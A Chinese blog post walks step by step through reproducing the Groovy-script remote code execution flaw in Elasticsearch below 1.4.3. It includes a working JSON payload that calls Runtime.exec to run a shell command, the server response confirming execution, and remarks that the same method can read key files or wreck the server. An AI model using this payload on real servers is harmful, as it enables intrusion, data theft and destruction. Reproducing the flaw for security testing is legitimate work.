首页 / 操作系统 / Linux / 关于ElasticSearch1.4.3以下版本安全漏洞的攻击过程复现
ElasticSearch1.4.3以下有几个版本可以执行groovy脚本,这个被利用后可以直接调用Widows的cmd命令和Linux的shell。网上有一些文章,但是写的不够接地气,这里我复现了这个漏洞的攻击过程,重新写下。第一步:安装Firefox的Hackbar插件,安装好好,如图所示:第二步:在浏览器地址栏敲:http://localhost:9200/_search?pretty,注意这里可以是你自己全文检索服务器的IP和端口号,然后点击回车;第三步:选择Enable Post data这个复选框,然后将以下脚本填入Post data选项:{
"size":1,
"script_fields": {
"test#": {
"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cmd /c copy c:\\error.txt d:\\zhaich.txt ")", "lang":"groovy"
}
}
}
第四步:单击左侧的“Execute“按钮。 第五步:查看结果:{
"took" : 36,
"timed_out" : false,
"_shards" : {
"total" : 10,
"successful" : 10,
"failed" : 0
},
"hits" : {
"total" : 3357,
"max_score" : 1.0,
"hits" : [ {
"_index" : "shopinfo",
"_type" : "shopinfo",
"_id" : "0EyqahDXQjSReepWJP2iYw",
"_score" : 1.0,
"fields" : {
"test#" : [ "java.lang.ProcessImpl@7b0a3486" ]
}
} ]
}
}
这代码说明代码执行成功,也就是说如果服务器上运行elasticsearch的用户有多大权限,这个cmd或者shell就能完成多大权限的功能。这里是拷贝记事本,如果是换成读取文件也是可以的,这样就可以获取服务器上的关键文件,也可以摧毁服务器(当然了一般都不会这样搞,岂不是断了自己的”财路“)。好了,以上就是基本的攻击攻击过程。希望大家注意,切不要用来攻击别人,可以作安全试验。整个和struts之前的漏洞非常类似。Elasticsearch安装使用教程 http://www.linuxidc.com/Linux/2015-02/113615.htmElasticSearch 配置文件译文解析 http://www.linuxidc.com/Linux/2015-02/114244.htmElasticSearch集群搭建实例 http://www.linuxidc.com/Linux/2015-02/114243.htm分布式搜索ElasticSearch单机与服务器环境搭建 http://www.linuxidc.com/Linux/2012-05/60787.htmElasticSearch的工作机制 http://www.linuxidc.com/Linux/2014-11/109922.htmElasticSearch 的详细介绍:请点这里
ElasticSearch 的下载地址:请点这里